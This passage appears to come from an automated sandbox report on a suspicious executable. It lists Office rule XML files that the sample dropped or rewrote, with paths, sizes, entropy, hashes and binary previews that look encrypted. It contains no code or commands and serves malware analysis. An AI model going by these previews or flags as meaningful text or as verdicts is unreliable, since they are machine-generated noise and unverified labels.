Preview:	.<?..W........;1.....0.;..}...Kw.:O..Z...]k.h.u.j.k[.tp.M.r.....L....X[....$..QO&@....W.wl.4...P....J+...G..........ozG....6.......K.....kH....2]..u.=naGt.;.e9.........s.W.D?.$..&.4..P06 .&Z.....A..w....KJ./\.5.^...ao.....e.....b.P^.....}O...K.l{.gFL.)%....m1....l.Y.J...dT.J....'RG..A=`_..K...ym....&....^....}3.7.0....mT2.(...!S....\|J....F"[X...1ML[kSu~#.W.L....4.[`S..rm..eU.\|S.'.f..w.2....!X.(o:...^..\._..Alj<...R....Tp...`[)B..A-.RR....c.??Y.%..,#W.Q..&q..o..~..2...h..Z7.....x..@9..O...7..y.........rI.2H..t.(.p.\~..p....P=.....8....q...f..TL.U_...$H..x..0@.............AG!~...nI.....sFk...2...."1.o.'..,o....`O!....t.s.!l....Y..$....?.<...n[..z.H.U.......BqU.b..uG..1}.Z....+..'#.CB......-'...%.1..;..Q.o.+.p...S+......W...u....xV....]...H/........m...U..P=+T.G..s.8.c.q..&m..\|.Z..+.k./....5..8+.n.c..>.h.qD.<...C..b....v u....7o.N6../.K&\|>b.VVx......8.a....Sd..S..25*U...R...9..[O..'..v......../...%{.t.'..Q.g./.....5.OS.)7..p.Z.~....S.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.890321053712177
Encrypted:	false
SSDEEP:	48:R8CyKoLjkFWASf5PSrfFOiI3sAqi7Leoo+82RKeD:ofk3I8fFOihs7LPKm
MD5:	7A343221517B8FB8AF2A182B50993410
SHA1:	720F2BB7F3A852CFF9CBF4C00A440F6F074F4629
SHA-256:	D082F1AD0B096D3A625E3AAC127C8396B94A1F657EA826453FCF5CB0A31CEF5F
SHA-512:	F5F5E2EB8A95FC3DF75906E80434F905E4E8DE415F7F9E95C4D5793DD821563C7DBF2290423C4DC111F72C7399BF70FA1B5071266C0097190658B1B50BF17F67
Malicious:	false
Preview:	.<?.\|.\|..HW.k[C+.... ..6b......._.-.w3.......+.s8..Ju+d..cd...V.....Tg...k2...'.L..xP.....W......-v..~x4<R...8A...:...../..~8...F.N....Nm.'..p..`...k.........#.%^.Dq.dW@.F.....G#...C.J~.u.... .Jg).ra....Q....p.;Ti.<.e.?3'n....2.....5R@..vq.......xTm....M.}OD.M...%V2.m...sNL.....u.s..`6N.{.&.a..X...].s....'.W(.l.&.#F.}.B..B;....K\...0.F.>..%].2...Bo.$/+ncd.R.sGj.........N4...OPW=X$.r..H^......._O.w'5l....b.#.f...W....a.LF&.70.3mTq`...pK......C.[(5...vDZA..z]`.B.U..IL...a.k...h?.~4...l...p:....KX..........E86.l............jm:.G9S...k.r...B...W.{.............V(.C!....Zov..2.~b..8..pL1`....Blb.I@...:.x..,..~..k[...^...=.D.I....+.dm..X.\z.7..CN..W..;.[.7^...E.u;..B..o....{.l....{.U...N..M...0..Z..o...Ogw....>n..<....#.....-_........4....A..L5'..~0z....N.1Ek.I..._x.C..fA:&..6B.y...=.0.w.E.i.l/...(........E#0S.m.(....... ^..k..GT.r.G...s..!~....-F(....)\.M...P2......8...B..8GT..@.g...Y.n.m+4...........y.r.o....m.....[u2!...3..w0.a.De.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.881780108596509
Encrypted:	false
SSDEEP:	24:SGLYx4LDqYl9e4TjWtotcOkHfh/NJrqVvQmk6wvRm6Yc2TNhtYkdY6vt1bD:p1LDqYlrOt0kDJrqFQmk7o6KYkdvnD
MD5:	72C77E29221BEC8A4D39B8B0DB83CF03
SHA1:	BDECA514A3D97189F9504033C4C735A0AA8E1801
SHA-256:	6A568C4B2AB995007FBA94A32A05C021D812C925898032B3C2C393A7D8F43CBA
SHA-512:	95499C48DEDD3478CB49EFF8BA462BF43CE716A825CD9C88D4508B5A891B6BBABD89B394D3A8E7F6A74FC5536595730D4BA5074465874431354668AC659B2BF7
Malicious:	false
Preview:	.<?.'Q)...Z..O....t.5.....n..]FP2..". .....,d.....^.....4........2.qKh.n.Q..U9.\|a./.)..._.2.e\|C...4......f.xs..Af.2....y...\| B.c..9J........-.\|.v.w..%...n.56.y.8.&.T2.^+.n.;.........h?..C]........5....".i..........IC~....(....%.~.oP=..yg.i\|...f.........~._...]H.....aH...z.y$.....Usdc...e...m..C ..tw.&OT.]/.m3OP8.LE...v<../3.......K...p....>....)-.61..]..sQ+.R....,..B.H...Qo..../.1.u...v......B..N...H.x.....mu.....x...j....O..L..nQA.}d....-...RW.....Vy.z.) ...@s..\..0u........b......K...h....p..l..1...V[bQ.2..E.1.c.K.-...W.....y..m.j........S..>U*..U@.\|.....I-]....T....j.].rX..^).].c^E8.1.2.....!c..OD......C...,#&.c]....Tq.Kt...A.....Ea...5;a....?.H...Gm.1......B....Z.#.n...."...3..{.w.H.kG..(K.......9.7...I".8>.....H.Y.g.D!.......94:....\|A.......(r.+..8Za..Z..t.;DMY..]@.-'+.....)....e...F..Vy...x........:+L..Q`Jx."..p.....+../..#C.`...M..{.....-...c.t.....B...'D.e..-..5.VD.4v...2.z........... ..:.y..bQI.J...6..1)c=.?.wo.V.z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.898710468131731
Encrypted:	false
SSDEEP:	48:bNscOCrPZ6507+zLFs5sZD45YwCZnSIGrOOBZx7e8V3LiK0Grlv0qD:pbtZ65DnisZDkYY/Zx7eg3zci
MD5:	9B60BD9B648217B9067C6E57783286F5
SHA1:	7ADAA416211FBEC2ECF4E9990D6CF85FE1363E10
SHA-256:	A68197D0BE22D1295ACE3D765A63B8E8002BF01C6265386CEC358452ECCD271A
SHA-512:	A52218FA5E136A4456D33C70A50DFB00EE86EECEE9FB33A1478883EEF5E8D46DB35A8ABE723C9E4487A86A8012B71C2F4F37B09E001C388F37A25D64B61C0FF2
Malicious:	false
Preview:	.<?j....$.@.. .FV.F.p[....b.......c..E..\|~.BG&........s..DgC~..zrw...ar.(m.{.x...7..r..f..`0.V.Vo...".4.l.K\|...m<..pS....y.......Y{.0.~.{[..m..[n.7...<..u.... .6.7..3.U...4-...".b..e....;#D.Df.<7".w.W..S..en'......YqV[./.}.[.p..%..f...7%..T.:.Y-.g.\|.2..@`P.Xo3......y.s...\|f..x=xc....n...D..t..@g.j~v..N.....&pA>...O6..r.).{..(.....W6..E<..o..x.p...'..>.`.f.RF......l.c.%0.S....R.2{.$.B..I.&_.\..)M`kN&..{F.u....#.....W..\|.\|..t...L...........Q.Czq.... >.\Az2....:j..5r,.._I..B.n.-...j.;..`....)Ft.H.o.6I....T.A>...TK...Tp.......c....6.\|=.0>[$....e.,.M...7.bQ.H....c..I..c...c7o....1.....,.A8(......=...j.FA?....U.OC]....9fs7H....DG..{....WG.4.. ...#.....g.3w....C.S..4(.m...%"(..9:...C!#Kq.M.M.G.I....D...w_.^.IW71.F0...b...K..3CI....X..J^.0}..z.....Q..[2X...A..{.....q...M.;.@.>......J....1X..{....v...hF.h._@...F_..C...l......&l.P..._...9&.)...Y..H.{....N..\|.;...P.L...AAX.?........iA.......N.p]..L.$./...lS..8......a..fO5.:.n.....{...$.3.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.895194513785152
Encrypted:	false
SSDEEP:	48:7EV3e4n6qt2Cd1dARRgUg+82bMfFyJhAS+fD:wV3e4ncE9Uf8LsJho
MD5:	B8CE600C5C4E02C64F24D5162274BD26
SHA1:	9B29C8ABAE6A51AADD819D361C005E017EBB25DC
SHA-256:	3A2BD00FFFE25DCA6A668873E054CA97957D895E154B1BDED83EF3C03B9BE973
SHA-512:	F4A0EE3D8425EB2201B7519DAB980E40D8C014BDBCC23597DDB2C175D2B16ACCD7CDE83286AB34C6FC3DFF57456AB8EC85F22E7BF64606785A86D280EBB5B3F5
Malicious:	false
Preview:	.<?....?.MA.V7.N......Z..:.!h.H.j(...*..........p....5.u.....i./..3..-.D%..+....hP.w1-...H.Ro~.:mW....k...{j..zND.....E..&m....7.j...b.>.]...X.a...R......8.T...B...#.DM.~,..q..#E$.....i#...8.\..3o)..=u.jzYI...j...4."....../.......d.[...T).p.v..`..,...=.~r.eo!...s.'$..e~.......X}c.m.OY.12..W.![.:.A....i.k..E,,..Eko.....)....+...8.q.{..32......t..U.i\...h.Q....R..:/..l.%M.....h Kx9 .V..f..1...?s_.....z..I.A. \.N.m....F...b6..F...Y.w!qw.,6w.eO......@S...Y....E.+.^......k...r.-..T.Bt.............[.}^...1..=.k.......Y..I$.&.....).R..V..zM0.....i.r9.hn......jX..D.[+X...N....8#.RW+<...... ...Q7p..zg(...qH3_.....CI.6zv..t.ry...0.{.l.. \|q..1......j..1G..M.d.\..!{...]...g....?..J..v..uoi..........sN.h..z'3..nzV....2..b.@........<]...W.3m7....T..e.O^l..).8..d.O...H..U..46..x.n...Q.@Z..Xp...<<{2..3.G`..iy....2...5.....%.Tk.~.yo.^p...w.."._...-@...........#....Z2.}.H.>pH2.!.O.u+L.AJ.....BX....5.[.@..g'....n].(.o.V.=.X...S...:.K.S(.../..".y..q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.878040233842803
Encrypted:	false
SSDEEP:	48:KjeA8RtSLRqo1GAmZEfDc5oEjQhoHamJv6fwD:Kje3o1GAdbc5oOwmJCfs
MD5:	54835E00AFC08CE2113831355AC3D1DC
SHA1:	5D6B3C86AB4D878F42564C9244C8FC3050FD9A75
SHA-256:	985405B04533C774F5070D76BBC66B6BF978A510B1D81A8A33DF1257161A03DD
SHA-512:	54A114E02CC8C8D2C40205E4422464E9F78B766DF04A9F0098AE4D85E0583568954C529B02A973117C251F021B2683314796BBCD2E0CE561B3899596CD1C2B48
Malicious:	false
Preview:	.<?.\|.L..Nr....n.u..=..3.....dh+I....l...C.B....9.?3...l....<.Y.....}...q.;ea.......4...1N..>w...Kjl....=@..?m{d\...cH..r.RPI>.....#<.)<.C.=C..M..Z......B8.p=..t0..m.g.U0j8.....'Xb....!.Z..Pt.5....d.Bi..]..6......\].?.).o.F.q...e..9/....k...e...%R=U.#....[......OX.......KUJWj...>..)..-....UW/.[O.yk~r.jX..Z.g..h$...\....R......V....:....'...y@....1...}w\|..frF...'B.1...kG.k.`..!g....W..v5.....KSy;.....`..u\..,.MR%..y?....y....I....&{8.....]..{...A=.v....k.v..Ap..Gr..l......=..Q..&...s..R.."D...$.Xhr (....C.o_e....(}y...[!d.>E.+~Xsg.\|.-.z......(..],q0.EwJ.....+..B..p.m.x..w..X.Dd.fBk....&.....ec].AGr7.yP..q...a...b...+i......./(....I...=.,7;...7..3T.5.5X%.P9Xu.6.h.3p..u..q.y..-...6..J.HVE.dU\|^..;.F-Z..)..:.lT}b.b...n<...}....B\|..=...f...+=...7..8jd...Ai.....I*-O5........n.{B..<Wl[n.4{..@_.a....,.#c.$YO.}../.-9J..y%.~.$yk.4S@..A`.IU..s..L.%.\.m..A{..AT.5....dL.vvvl)d:....s....h.....d..c......9.L..>..=.bPl......$7.......L....?.......o

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1714
Entropy (8bit):	7.892495783818686
Encrypted:	false
SSDEEP:	24:y16tFW6k8Gzv6oW+f0eqTcbQgeGRI/yDVVHJGGpvvEElDmPvRb8nLhTh5QLbD:yO0Z8Gb6F+S83iaDVVpG2rmPvCFFuvD
MD5:	B9876AE001F3E7BCA212B2E5830C5DC5
SHA1:	C5DB05BD96282A53A4782224E669149C13BE245F
SHA-256:	61E741417797D291F5F6A9AE2341BEB9C2F65EE64F269DE1149AA655D74F8641
SHA-512:	DE7CC145008D4F0D304FBF31F42D3719783D1B75B4CC5EF839380E27DC4786C7BD8373E8505C65E33B51F9ECA283A3CC20CCBCD94DC5D13A1940DE06C8973320
Malicious:	false
Preview:	.<?....&.>$"M..........8.'..@...[z.rbUX..Y.(`e.z......t......^..%vl2.`+B(...~yP.~ xM.g...\|.B.H...{.p...V...V....!.a.\.Ii.O....l.:y"`.7."..f~..k0..._S.<..R N......c.a..C.Sj.8.d..A.......?.A[......N.g........ghe.....H......:\|........?.?...%.%a..xG..._))Y.?.#..y.M..:..;V.K........ci.D.o.#7......?......1....s..H/....!....d.6V.%vr....)./SF.n.v..Q..\|.k'8..Y...VB.^}..".....zB..Z...7;.....$.R......,.l...iZ..o....n..{..H.0.#...mdU.NA...._\|.......u.v2W...E.....e.{p...f!.z....;...7. W.rCv..b?...cd.qQh,p..i=_.xf..g....Z.~.0x....@W.......-...[;rK..A...k].........q$..\|<..F..3...@\|.7.-Z..:%.xd`.u~......<.T.X. sp.JT...:y.^R..R,.7,....M..H........mS....g0..3.;.,.s.J.........q..kn.a@{._...6s'..v.......x.U).P......!.B...-.n=8.x.K.......(..!.D?..%..%..36.H.XU.......{.u.]U....<.lX.._......(.e+.9?..X....;c/.K.-BtF...-lx..M.;.+.<."..q.W.....B.C=..+X...V.s.E.Opy..#....&.G.r.Z.BV.ea.y_.X..._..%.~f..L)..........s....`+....SU.x..]vUS....f).....)..I2.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1751
Entropy (8bit):	7.889484439065701
Encrypted:	false
SSDEEP:	24:0YSW6Rcp4BMrYy9Z2aWEqTAPX3014S3KkrXhY0W2+bOUEMXuckeV0Eq7OIUQ41vE:DSNaRNOTAPROKsK/qlyvpTXQO64g0QfD
MD5:	1F747CA03EE7090DBFCCD98EBD316847
SHA1:	AB81C30B47E19F2F069FE251E3D0AB228814B1B2
SHA-256:	069F4F4AE2CA63336EE921F63776AECB8A4A26275FF97DD0C9395CED456F78C4
SHA-512:	5F28D89B69AFB1708AC30B3CCDE24438A5313ACDFA0074FA03CE6E5688E94D57E3D5292D6C6DF51E8287260AF8FCF3ABCC807DC54A6C9C7D4376AA72C5BC2F25
Malicious:	false
Preview:	.<?.....RI$"..X.).o.1.b...n?...7i2...-&0_HNy..F.5.cQ...~.7<....o.....jy:UC.....-)...N]....)..H.[.s.Z,'%.]6l.O.%r.9.."}3eT..-?`N...aK5.>...v6...1i..H...B..wTb....\..".....Zu.l...F1%.%Mq.Ndh.F...P.u.Vs..m..d.+A.'.(p1....L.F(0... @.{u.SI...fx..`......Mx.....b....R.O'..}.1a.8.8.1 ...6&.~..K20.Fw..[.......8...../...e..E...}.-.FA...-...GB.b..b."'.7.....C...5.w4=.X....B..'X%v...U..P....1.....;<.&.!...R........Y.M...X^.q..K....=#s{@.2Os..!.KHc.......Om..+z.....o_nbD..6..!..(y....X...]...O..OfB5.L#...d.U.ro..w....+....&:.....L.!.C$b.....g.k..m..t...G..FOh"..I..kw...2X.?X....u.I....s...........;{_.g....@M...N..KB.R.......S7...--T.?..G.Uk....HRb...FF=..7..<..nB....-.x.t..".uM.\|.V..b.Y.g..[.Y).'.T....d.K...z..oL.5....;.....#2$.zNU2.U> 7.O..#.n..v..l.R..M.$.> dg}X.....,D..=..A~......xm..Y...#4..."..{.....n...G.g. p.........]...;~..y.....].mY....-h.'f..~g.e...hg....W..y....v.t....f..Z.!...R.O-..,.....#:.l..p.~1.L..w.!....B...z.......ra....1..w.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.877201294409032
Encrypted:	false
SSDEEP:	48:SWs20Qj5gYbfq1SNqV2mjkqh28Hx5fYKw7D:9s2/j55bfi4EkqM8Yf3
MD5:	A705C65862C3941D5145AB14C278A3B6
SHA1:	FD81053A90FC88E845AB3F2C1DD81E3E0AB68A76
SHA-256:	15AD9536AD0089825333A8D398F3AEC8F46EE7B302A757C13AE9DC124ABDAB78
SHA-512:	352C75484DBE2AD666192684E1F5FAB12250B10F9F03619277961D50C14B02AEDD91863F68CA2E9F0296A40E01BF603D4738DD2056453375693DDE55BE279341
Malicious:	false
Preview:	<?xml..".s....0.....z.^...E$R".7I........=.;..R>...a1.y&.2....9G..R?..1..@i...........V...RO..h....#d(;..@L...b..Z...A4..N..Y."l..i......i.^.e3>l$.E...\|S.ns.Fsq}.$....g./..s..J..5.....{...=.!S...Q]....b.E.wG..o..C=..#ci...lF{.._.rv.3...WI...%...s.bj...3.J.ZQ3.L.5f..xlQ.k....:x.}r.P....4..a..(.;Z.}....A....zUF.y2.....mu.#...KE..+...X4...&nHK......@.....8W.[/s.Ml.w...C.4P2...'.....K{N....)R...8;i.b.~....+......>..^..Q.2EL..Y>....n.P$.\6.4....$.:...Ou.j.S!.M&......$.i.O....%.....=j.U..($......>.b.v)....5.s....^....}^@.N=..r...N.!-. .o.D.f...)gm.........`...,.r.C..a.l+b ..3!r5..P.V...;%.....w...v1!..K..rE;......fg..#....a#....,.<,z....rmj.R6.0%.4.,b......\9.y_A.=..$..&].....P+..5.Xac...J...5.l.0U....'H8..qE....`.ZOZ......LdC.-.G......]n.j..9.b..M.j..?.'6.sF.L.,s..HzF.B.....ea...{.?....]......i.YB../.vd....E..s.M..B.#(....>l.w.6x.z&y..l.`..h.LV.a(.k.\.<..}.._@...Z.'.L..~=..x0^..2.W.C.\|....)n...C].k...F......u..PWR...\|.GU..4.o.!.2m.r..E.9d..%.@i

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.5160139539523385
Encrypted:	false
SSDEEP:	3072:L2JZLyC8P5Ei7wIcGawi296IUaN8Kkxl6zWUX393mch11SNh:UMlP+ima6tK0vOxmch11SNh
MD5:	A94E1F118F04903B97ED336C8C43161B
SHA1:	E0F52FDBD9A92F3F994630B94554E830B8101E95
SHA-256:	0151765DD45C57F99DD3685FC67098A48853306BAE76CBC1758704FE57B5B653
SHA-512:	7FE7FC61BE66B32A5900A4FFF89DBF974362A5DF1D64A383B707359C85A8A25CDD1B7650694A88873D14196FEE9B39B085D5A7F801220A5A50E0AFFDB8D67445
Malicious:	false
Preview:	<RuleG..'.k...3...S...U].0.}.2...1..(..%.7h......(...?......3..Q..{.~D...\|W\|6..".....D`u.....#pz;.@.Y.&].....S....U.+sAN6t.-p8..........s..w..\|l..8._..w\|.'..^pM..w.i7.u.....;.w....W..}....b.k\|.!N#~3...%...a89v....r.y...S..../....%.z.l.b.F.....Qj.}.&..=.!....,B...A...e._r....#.$..G.~M..(s...j5f....=.C....a..c1'.....[.&US...Tj>h..?mv`_.....J..Z.......[..........<j.K.......$~.y...2!j...NEg.....,...pG..]1...~tb.tE.Y....c.d:..a..;.th....2t.N...m.Ny0)..=.k...mZ.;E.....X....9X...U.?>f}......^ud@..]...K..J...C2......4Qf;.?{.....xk.....y....+.7..js..D.v.mR.........._N........"....0.#.....m.j.MK.@......T...7..D..{I.Y91..+..c.r.eM.J.=..I.....4....N..41.p......P...G..;..R.7...N.:..5jz...7.......l~..-......sYOS..RGr..>v+T...."(.l.S+..T".(.CL...`. .)....\|.c./..n...B?..:..9E.......>.......S).0<...&....^ ...U@j........O#5....jf......8.6...M.\|~..9.@.u.../.QK.P.-.....$...>_..1....pZkr`F.]&Rp,..P0.n..*$+..{S...0.o...j4..M....4...Q..tk7Cc%...D.j.F

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule1000v5.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1928
Entropy (8bit):	7.89301754182141
Encrypted:	false
SSDEEP:	48:i4f8uvPbVygXOvjCPqWBkuHUOU+Zv/eFjnVjiO4Izw3m2jFD:i30VlXWCPPku0p4+Tji6zcdZ
MD5:	3823C38CF1B05B3A397EFA851534B979
SHA1:	875962E14DEBE44535711F1BBD92A0CD5379E6EE
SHA-256:	3D6930B9B3F9A9C9166B059DAEA54B5735E37D95820A59F9CE06AC3F21C9BBDE
SHA-512:	A806F40BF3265E6A779E767D9D2DFE132C9B47B7A0EC616F12B8187DA927F44E70F7C2A3F93495BF6D2B04FFA6753BC09D2100BD5C2D648733752ECD6F515F23
Malicious:	false
Preview:	<?xml.Xy...I...@.....k.Pm.d.1v.<Z....,.6...sl..=q.........b0......Bl;R......z.;.!..%"..{..(.aw..6.da..v./..g}}B..^i..e.)..p...;G..z....y..E..Q.th.M.=....k[.w+J^....T.e]R.......(/j.R........$C...!.,....].....am........~.~8'u6.!b...^..%?.i...`.:..i!.....s..\|...l...u.(...9,...-..!.......l.'..[.Vi.....m<l....?W.,...eC......}).I..H..D....$...2.).B.....P.\o...k.,.........$.....@..........w..tf1.`R..`.D5u..f.................4....._.h^!qn."d......}....m..v S.I....z3Oaur.....I..H.......c...2E1..........oO....xL.h.03/.!...'...b\|$.IzK<.....)z..#..TR...Pk..f.Q..'...e..9}....f$+.v.p...6}V....d/g..1.C....?.H#.....<......jx.".lQ....>.Fk.k.b.T..k .?.X..>....i....>.3-..<.V%....&..5o{F....>/FQ.$.y.gV..Gg2.U]jL.=4...%....1...B........_..qW7...2o.y.%.9.@l....}_...5.j..)W.n......a.U'..~........x......q.......V.]4.p.....>r2y.....aJ.7fA...L.S[.p.......Go.@e.V...CCYj.<2.....P.'..e.(.[ b2=....7..0......^E.....{...@..Vtn..NX.....{......Ob.796..P...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10450v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.861849443241178
Encrypted:	false
SSDEEP:	24:pd7xk5NkbjgMth1kUh4DCtctJKNPSDlO/sg9ZldBfDDjtOyDkLL5qLWe4QZj2ezX:FkQpLACtHPSAR9ZlHfDX4qnP4QEenD
MD5:	9549FBFF1F49C6A8ECBAAE7C6D2CBBF1
SHA1:	17256BE170A424D48C3AB74DB2DE732A8663B2C2
SHA-256:	BD83D9AA7A5149D5E8138441630E467473A021FCD14B5FB77695374F0C35B9C4
SHA-512:	D2A735BDA92FF3D9064C0AFC874E6F965CFC576A8DF5F60C234E4A673C6860BE25B6A455521EA16EDE5A3A4A0C300135B936A25FB3CC262BE4346B852C97ECBE
Malicious:	false
Preview:	<?xml.....0.........E.....!......$3.?.H...`.W...S..VV..R......kG\|.\F8J4.M.....k+...s......?..`....]..<y.K....'fN....1....#......a.6......#....7...3%.W..I..Vm..d.2c.'.!.$.,...Iy3-.A..z...8fG..xrrN..C\|...1r\..j... .2(......`..(.J......u..g..`]HX.......P.....Le3.y...V.....n..X.R...2Kxe`..T...<......,.......U)@.8..?w....8k..d.0>Vb\T.-G\v{...fI[...'..6<..4.%<v.O.${.\|....[...S2.8.R..%.k....tf.......7G5m..S.YE>.TXL...l".A..............P.....>.....= N.R?.f.&...jO..\|....}..Nb.....~...?.T....i.}}.+.....O.Jm...l....7..\..A@...)...g.?...@...N.....A...M..m.uM#.N.,.....nl..!.b.u%...M...=..VJ......(&F..v.+>V..'_....^.s...'l._.h55...g.=.v../...0afG.$y.X.7>..[..)....s.C&....M...'.y..[. ..o.>k...s.&.xW..@..i..mEc..~I..;.@?.....D. ..Q....h.Ryc... D....2....E..i%...%,..)g..J..`...sr.H.A....e8..u....y_.$./L.!m...T?..;....Cd.H....x5.f.D.C.!#..C...t.j6.\|<.,..Z....L.....B..ef5....o.th..pZI..(?.=EA..oc.M..A9A./..3.r..v.YA.{...\|..D..i.....E.(y..8-..._I.r...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10625v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.942892820895811
Encrypted:	false
SSDEEP:	48:MWEdk/4Hqz7rKLzkeEM60gMS2YOPZmuXCXqF4SZwAOoi/TcFcxzGPvmkKPwD:MPlHVV60zS2ZRmuS6ag5GbQKzGPvmkEs
MD5:	58B89EA1C862F568F3407894164D5507
SHA1:	B985ACD04C9C30D1FC9F0DDD8D4980211E981C54
SHA-256:	4495E845B9447F9BB4B52B9C2C4FA89C733138BE852284669592B1B697A2D4F6
SHA-512:	D20676D271C6C116D4674064977F9F01DD8C2CB9C8BC6F1F4D45348CAE859BBF48EAE33D2724ECFEF165D7FDEF721AEA48363B35792A188EAFC1F6200A7CDC8C
Malicious:	false
Preview:	<?xml...M.....Y.@...KB...^.#2........Z.....=0...J.......Q..4..!.c/......h.Q(J.!....#..!..n...q.8KWp..o..........b:.N......1e.mO).L..C.3... .-p.>..L...v.@..Li........9@.C.Y...w.@.x1...2.,G..f...._.a....H"MmP."..K.........i....Q..}UH..v.>.s.4,.:./._H....}Q......,..?...SO..C..;yf!....#t..(...sN........U.]..........Mc....4w.U....N....N.I}t.?....I.c..%.D......M.R.......f....\.I......`....I\|+.T...=.i"...j...G.....-.&..Q... .....W..]...+..e.<QZ.gT...i\....b.+...y...x\|.'....xF... .Oy.....j_].F=.b.Yq..).{;l.G....'..uF...L.psq.E.k.$...R.X1u....#..J.?..)P...oAW.....H...8\|...+.:U...g..w...?\|.....Ql]0....2.#!..t.Z......'..Kt...;.e?.R=.....}Y.l....>$UE.Mn..1aPT..o....c.%9..gX...v....w..Z.../......W..=...G.{.....J...;...6.o..x..fm._..2...Q....nlP....L.\|..R-Nr....l.m.$.S..U.x4_...wM#.....H=t.S.H...~.._an."y<O.T.k.k)..-.\..L2. .r.E.a.d....".tA....M(cN~<.{..5l.4..d.......<.\..1...!......'2a..;...........l.29 5...Evg..@p..~..Z.Z.P.\|..T..o...k,.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10626v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.872667823201371
Encrypted:	false
SSDEEP:	48:KN9UulzxaBzaRMh94foIzor79cwGNTXwuTD:oKMwzjh94wIMruwaTXwu/
MD5:	0F3A97C8359D92D6AA4A4E196F1000A1
SHA1:	FCB5B4DD10AD6E9F8837CE5D1AF713C9E3DAB780
SHA-256:	5B608C7FE97D4EA223ED63FCDC213EF8E87F4F48AC283139A83D02AAA1FCC668
SHA-512:	F5E41A009D1C85380F6F1F38699BF227E442B7E3253E9F8FB0A4451E005EDE8D4B447C6B2DB50762D7BE6E20AAB292B57CFB817DE83B5939D13DC8220FFC099A
Malicious:	false
Preview:	<?xml.....,..C,9...m..x:..X.l.k.do....e..%dP...uE~S.1...Z....Ew.Bi.{..z......$...#..........(w.7..C...s2{....\.LC...o.6.4.L..K.....2..DH...@.D.8..3.i........Nl~...n....=....,..2~.W.K.P.v.x.j.....E..j..E./.;...-..;...T.v.....$S.$....6.x].E.......5u...2.e. ..R.....#.UT..i.aT8..Pq. .4U....{7H.p...YHq. .MmhC...0....AO.".7-7.....RW.}"..wc.{.>..tVO...)..P.,.]....R............/mz.n$.C..].LW.bQ!..!0....uYXl\|.p.t!4.?.....M.<..$.....C...$...i..P........i;.^.nQ...........Su..w..._.....A..M.L.%.@..:.`..._..8..Z..?`.s.qt.7..(....!?o..A)...M....?P...fk..k.7..PaV..l.\.B.+.......2..I.k..T..F....0^..r.M/.5.#-..`c6.y.......M#......l{.>x._ZF.o.J%PXx.p.O.\.../...9.s.uc.B........),..3...G...{.;/.....WO.7........)&......C0R...o.\|.....!..`....,.sY.ohZuL...er.q$t.;...i5l....Kp.V..N..........'.../...nE..{...JRb D.........4.))d..........H..j..V..mw.%o.7....77....x.Z..h.R.H5.r+&Y.?..SC.L...d.._.....Pz.R=.gqv.Yt....O...... i..;T"..[l30-.....r..Q.Q.;..j.....d./kS..F.."....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10627v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.907717848100693
Encrypted:	false
SSDEEP:	48:8AvYKiBecMex1C9zFO+we+ybS+0L+6LXnvbQWNAD:xgbBeHex1C9h6eLnl6bMKc
MD5:	0812D26E34CA0065A65B95C4CF89E785
SHA1:	FF8886A3B2DA8D479045B0EF614ACC16160BD4C4
SHA-256:	1D445040D9AE9F76D3317B852C419B2427C501E3ABF1D7ED3A0140E628B5E8C7
SHA-512:	C532B605371FA12294069E90F4F6FA0AAE5F5109F28613C83CE53E064C01908758A32940F1577F92E256BB35D755C2CCDB7A1D041917F9C2E82D7DB4A868FABA
Malicious:	false
